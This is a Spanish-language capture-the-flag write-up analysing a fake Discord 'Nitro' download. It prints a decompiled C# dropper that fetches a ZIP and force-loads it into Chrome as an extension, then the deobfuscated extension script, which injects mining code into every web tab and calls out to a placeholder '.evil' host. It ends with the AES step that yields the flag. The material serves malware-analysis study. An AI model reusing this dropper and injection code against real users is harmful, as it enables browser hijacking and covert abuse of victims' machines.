ChromeMiner
11 minutos de lectura
Tenemos un sitio web fraudulento de Discord que se ve así:
Descompilación de C# .NET
Si pinchamos en “Login”, descargaremos un ejecutable de Windows llamado DiscurdNitru.exe
:
$ file DiscurdNitru.exe
DiscurdNitru.exe: PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Si analizamos las strings, veremos que el ejecutable está compilado desde C# .NET:
$ strings DiscurdNitru.exe | grep .NET
.NETFramework,Version=v4.6
.NET Framework 4.6
Por lo tanto, podemos usar JetBrains dotPeek para descompilar el archivo:
Análisis de código fuente
Esta es la función Main
:
// Decompiled with JetBrains decompiler
// Type: dropper.Program
// Assembly: dropper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0BF4A940-D198-4CAD-B2F3-2E20C3DDC146
// Assembly location: .\DiscurdNitru.exe
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Net;
namespace dropper
{
internal class Program
{
private static void Main(string[] args)
{
Random random = new Random();
List<string> stringList = new List<string>()
{
"priyacareers",
"perfectdemos",
"bussiness-z",
"cablingpoint",
"corporatebusinessmachines"
};
int count = stringList.Count;
int index = random.Next(count);
using (WebClient webClient = new WebClient())
webClient.DownloadFile(new Uri("https://" + stringList[index] + ".htb/c2VjcmV0/archive.zip?k=ZGlzY3VyZG5pdHJ1"), "archive.zip");
ZipFile.ExtractToDirectory("archive.zip", "DiscurdNitru");
if (Registry.GetValue("HKEY_CLASSES_ROOT\\ChromeHTML\\shell\\open\\command", (string) null, (object) null) is string fileName)
{
string[] strArray = fileName.Split('"');
fileName = strArray.Length >= 2 ? strArray[1] : (string) null;
}
Process.Start(fileName, "--load-extension=\"" + Path.Combine(Environment.CurrentDirectory, "DiscurdNitru") + "\" -restore-last-session, --noerrdialogs, --disable-session-crashed-bubble");
}
}
}
El programa realiza una petición GET para descargar un archivo ZIP llamado archive.zip
. Luego, el archivo ZIP se extrae y se importa al navegador Google Chrome.
Análisis del archivo ZIP
Vamos a descargar el archivo:
$ curl '46.101.93.26:31604/c2VjcmV0/archive.zip?k=ZGlzY3VyZG5pdHJ1' -so - | file -
/dev/stdin: Zip archive data, at least v2.0 to extract, compression method=deflate
$ curl '46.101.93.26:31604/c2VjcmV0/archive.zip?k=ZGlzY3VyZG5pdHJ1' -so archive.zip
$ unzip -l archive.zip
Archive: archive.zip
Length Date Time Name
--------- ---------- ----- ----
43374 05-16-2022 08:21 background.js
3638 06-29-2022 00:19 icon128.png
309 06-29-2022 00:19 icon16.png
1003 06-29-2022 00:19 icon48.png
483 06-29-2022 00:09 manifest.json
--------- -------
48807 5 files
Parece que el archivo contiene algunos ficheros para configurar una extensión de navegador, así que vamos a extraerlos y a analizar el archivo de JavaScript:
$ unzip archive.zip
Archive: archive.zip
inflating: background.js
extracting: icon128.png
extracting: icon16.png
extracting: icon48.png
inflating: manifest.json
Desofuscación de JavaScript
Hay un archivo de JavaScript llamado background.js
que es enorme (43374 caracteres, 0 líneas):
$ wc -c background.js
43374 background.js
$ wc -l background.js
0 background.js
Si lo formateamos un poco, veremos que hay dos grandes listas de strings llamadas q
. Luego, hay muchas referencias a las strings de q
con índices en hexadecimal. Por ejemplo, esta es la segunda lista q
:
$ node
Welcome to Node.js v19.7.0.
Type ".help" for more information.
> q = ['\x6F\x6E\x55\x70', '', '\x76', '', '', '', '', '\x79', '', '', '', '', '\x32', '', '', '\x34\x32', '', '\x72\x79\x70\x74\x6F', '', '', '', '', '', '', '', '', '\x41', '', '', '', '', '\x45\x30\x38\x38\x32\x42', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x63\x68', '', '', '', '', '\x6E\x61\x6D', '\x69\x6C\x2F', '', '', '\x79', '', '', '\x65', '', '', '', '', '', '', '', '', '', '', '', '', '\x4E', '', '', '', '', '\x57\x69', '', '', '', '', '', '\x65\x78', '', '', '', '', '', '', '', '', '', '\x69\x76', '', '', '', '', '', '\x74', '', '', '', '', '', '', '\x41\x39\x39\x35', '', '\x31', '', '', '', '', '', '', '', '', '\x53', '', '', '', '', '', '', '\x43', '', '\x65\x78\x65\x63\x75\x74\x65\x53', '', '', '', '', '', '', '\x75\x72\x6C', '', '', '', '', '', '', '', '\x31\x39', '', '', '', '\x6E', '', '\x74\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x42\x31', '\x74\x44', '', '', '', '', '', '', '', '', '\x70\x73', '', '', '', '', '', '', '', '', '\x70\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x73\x65', '', '', '', '', '', '', '', '', '\x64\x6F\x6D\x56\x61\x6C', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65', '', '\x34\x31\x31\x38', '', '', '', '\x61\x70', '', '', '', '', '', '\x66\x65\x74', '', '', '', '', '', '\x61', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x73\x74', '', '', '', '\x42\x43\x31\x38\x38', '', '', '', '', '', '', '', '', '', '\x55', '', '\x45', '', '', '', '\x43\x33\x43\x36\x38\x32\x43', '', '\x36\x39\x46\x36\x35\x42\x45\x44', '', '\x65', '', '', '', '', '', '', '', '\x62', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x63\x72\x69', '', '', '', '', '', '\x68\x61\x2D\x32\x35', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x5F', '', '', '', '', '', '', '', '', '', '', '', '\x70\x61', '\x67\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x64\x53\x74\x61', '\x74\x61', '', '', '', '', '', '\x72\x67\x65\x74', '', '', '', '', '', '\x69\x64', '', '', '', '\x72\x61\x79', '', '', '', '', '', '', '', '\x34\x39\x32\x31\x31\x32', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x63\x6F\x64', '', '', '\x4F\x54\x5F', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x63', '', '', '\x68\x78\x78', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74\x65\x4C', '', '', '\x73', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x6D', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x37\x32\x43\x37', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x36', '', '', '', '\x6E', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x6E\x63', '', '', '', '', '', '', '', '', '', '', '', '', '\x54\x65\x78\x74\x45', '', '', '', '', '\x72', '', '', '', '', '\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x67', '', '', '', '', '', '', '\x61', '', '', '', '', '', '', '', '', '', '', '', '\x37\x46', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x6D', '', '\x32\x33', '\x35', '', '\x64', '', '', '', '', '', '', '', '', '', '\x30\x30', '\x74', '', '\x53\x2D\x43\x42\x43', '', '', '', '', '', '\x73', '', '', '', '', '', '\x61\x64\x64\x4C', '', '', '\x61\x74\x63', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x6D', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x72', '', '', '', '', '', '', '', '', '\x64\x65\x63\x72\x79\x70\x74', '', '', '', '', '', '\x6D', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x36', '', '', '', '', '', '\x77\x65', '', '\x72', '', '', '', '', '', '\x72\x79\x70\x74', '', '', '', '', '', '\x74', '', '', '\x73\x74\x61\x72\x74\x73', '', '', '', '', '\x32\x30\x39\x30\x39', '', '', '', '', '', '\x54', '', '', '', '', '', '', '', '', '\x63\x72\x69\x70', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x34\x39', '', '', '', '', '\x68\x74\x74\x70\x73\x3A\x2F\x2F', '', '', '', '\x6E', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x75\x65\x73', '', '', '', '', '', '', '', '', '', '', '', '', '\x73', '', '', '', '', '\x69', '\x69\x67', '', '', '', '', '', '', '', '\x65\x64', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x67', '', '', '\x49\x6E', '\x38', '', '', '', '', '', '', '', '', '', '', '', '\x68\x74\x74\x70\x3A\x2F\x2F', '', '\x54\x48\x45', '', '', '\x74', '', '', '', '', '', '', '', '', '', '', '\x61\x62\x73', '', '', '', '', '', '', '', '', '', '', '', '\x63\x68\x72\x6F', '', '', '', '', '', '', '\x77', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x72', '', '\x65', '', '\x46\x39', '\x73\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x45', '\x65', '', '', '', '', '', '', '', '', '', '\x64', '\x39\x46\x42\x36', '', '', '', '\x70\x6F\x72\x74\x4B', '', '', '', '', '', '', '', '\x42\x45', '', '', '', '', '', '\x32', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x6E\x64', '', '', '', '\x5F', '', '', '', '\x36', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x69\x6E', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x72', '', '\x6A\x65\x63', '', '', '\x36\x31\x44\x32', '', '', '', '', '', '', '', '', '\x73\x65\x74\x49', '', '', '\x75\x62\x74\x6C\x65', '\x73', '', '', '', '\x72', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74\x6F\x53\x74\x72', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x6E', '\x69\x73', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x63\x6F\x64\x65', '', '', '', '', '', '', '', '\x74\x7A\x75\x69\x6F\x70\x31', '', '', '', '', '', '', '', '', '', '', '', '', '\x65', '', '', '', '', '', '', '', '\x6A\x6F\x69', '', '\x74\x52', '', '', '', '', '', '', '\x74\x61\x62\x49\x64', '', '', '', '', '', '', '\x32', '', '', '', '', '', '', '', '', '', '', '\x57\x69', '', '', '\x64\x65\x63\x6F\x64\x65', '\x69', '', '', '', '\x70\x61\x72', '', '', '', '', '', '', '', '', '', '', '', '\x6E', '', '', '', '', '', '\x34\x32\x45', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x2E\x65', '', '\x45\x43\x52\x45\x54\x5F', '', '', '', '', '', '', '', '', '\x30\x44', '', '\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74', '\x68', '', '', '', '', '', '', '', '', '\x39\x43\x34\x42\x32\x37', '', '', '', '', '\x74\x68', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x41', '\x61\x6E', '', '', '', '', '', '\x74\x65\x72\x76\x61\x6C', '', '', '', '', '', '', '', '', '', '', '', '\x69\x6E\x67', '', '', '', '', '', '', '', '\x74', '', '', '', '', '', '', '', '\x75', '', '', '', '', '\x74\x66\x2D', '\x6E\x63\x6F\x64\x65\x72', '', '', '', '', '', '', '', '\x64', '', '', '\x35', '', '', '', '', '\x6E\x74\x38', '', '', '', '', '', '', '', '', '', '', '', '\x68', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x69\x6E', '\x41\x38', '', '', '', '', '', '\x74\x68', '', '', '', '\x3A\x2F\x2F\x71', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '']
[
'onUp', '', 'v', '', '', '', '',
'y', '', '', '', '', '2', '',
'', '42', '', 'rypto', '', '', '',
'', '', '', '', '', 'A', '',
'', '', '', 'E0882B', '', '', '',
'', '', '', '', '', '', '',
'', '', '', '', '', '', '',
'', 'ch', '', '', '', '', 'nam',
'il/', '', '', 'y', '', '', 'e',
'', '', '', '', '', '', '',
'', '', '', '', '', 'N', '',
'', '', '', 'Wi', '', '', '',
'', '', 'ex', '', '', '', '',
'', '', '', '', '', 'iv', '',
'', '',
... 1373 more items
]
Y los valores anteriores se utilizan de la siguiente manera:
> q[0x70] +
... q[0x465] +
... q[0x58] +
... q[0xae] +
... q[0x4e0] +
... q[0x4d] +
... q[0x1bf] +
... q[0x32d] +
... q[0xa2] +
... q[0x26e] +
... q[0xe8] +
... q[0x390] +
... q[0x215] +
... q[0x30a] +
... q[0x36c] +
... q[0x3e5] +
... q[0x1bb] +
... q[0x16f] +
... q[0x259] +
... q[0x13d] +
... q[0x50e] +
... q[0x4c9] +
... q[0xa7] +
... q[0x408] +
... q[0x2c5] +
... q[0xca] +
... q[0x449] +
... q[0x1da] +
... q[0x1b5] +
... q[0x4e2] +
... q[0x209] +
... q[0x1bd]
'id'
Después de un tiempo desofuscando el código JavaScript, tenemos este código:
async function iF() {
if (!('injected' in document)) {
document['injected'] = true
setInterval(async () => {
y = new Uint8Array(64)
crypto.getRandomValues(y)
if (
new TextDecoder('utf-8').decode(await crypto.subtle.digest('sha-256', y)).endsWith('chrome')
) {
j = new Uint8Array(y.byteLength + (await crypto.subtle.digest('sha-256', y)).byteLength)
j.set(new Uint8Array(y), 0)
j.set(new Uint8Array(await crypto.subtle.digest('sha-256', y)), y.byteLength)
fetch(
'hxxps://qwertzuiop123.evil/' +
[
...new Uint8Array(
await crypto.subtle.encrypt(
{
['name']: 'AES-CBC',
['TextEncoder']: new TextEncoder('utf-8').encode('_NOT_THE_SECRET_')
},
await crypto.subtle.importKey(
'raw',
await crypto.subtle.decrypt(
{
['name']: 'AES-CBC',
['iv']: new TextEncoder('utf-8').encode('_NOT_THE_SECRET_')
},
await crypto.subtle.importKey(
'raw',
new TextEncoder('utf-8').encode('_NOT_THE_SECRET_'),
{
['name']: 'AES-CBC'
},
true,
['decrypt']
),
new Uint8Array(
'E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8'
.match(/../g)
.map(h => parseInt(h, 16))
)
),
{ name: 'AES-CBC' },
true,
['encrypt']
),
j
)
)
]
.map(x => x.toString(16).padStart(2, '0'))
.join('')
)
}
}, 1)
}
}
chrome.tabs.onUpdated.addListener((tabVar, changeInfo, tab) => {
if (
'url' in tab &&
tab.url != null &&
(tab.url.startsWith('https://') || tab.url.startsWith('http://'))
) {
chrome.scripting.executeScript({
['target']: {
['tabId']: tab.id
},
function: iF
})
}
})
El código trata de hacer una petición a un sitio web malicioso. Parte de la URL se descifra usando AES CBC, con _NOT_THE_SECRET_
como clave e IV. El texto cifrado está en formato hexadecimal:
E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8
Flag
Si empleamos CyberChef, encontraremos la flag:
HTB{__mY_vRy_owN_CHR0me_M1N3R__}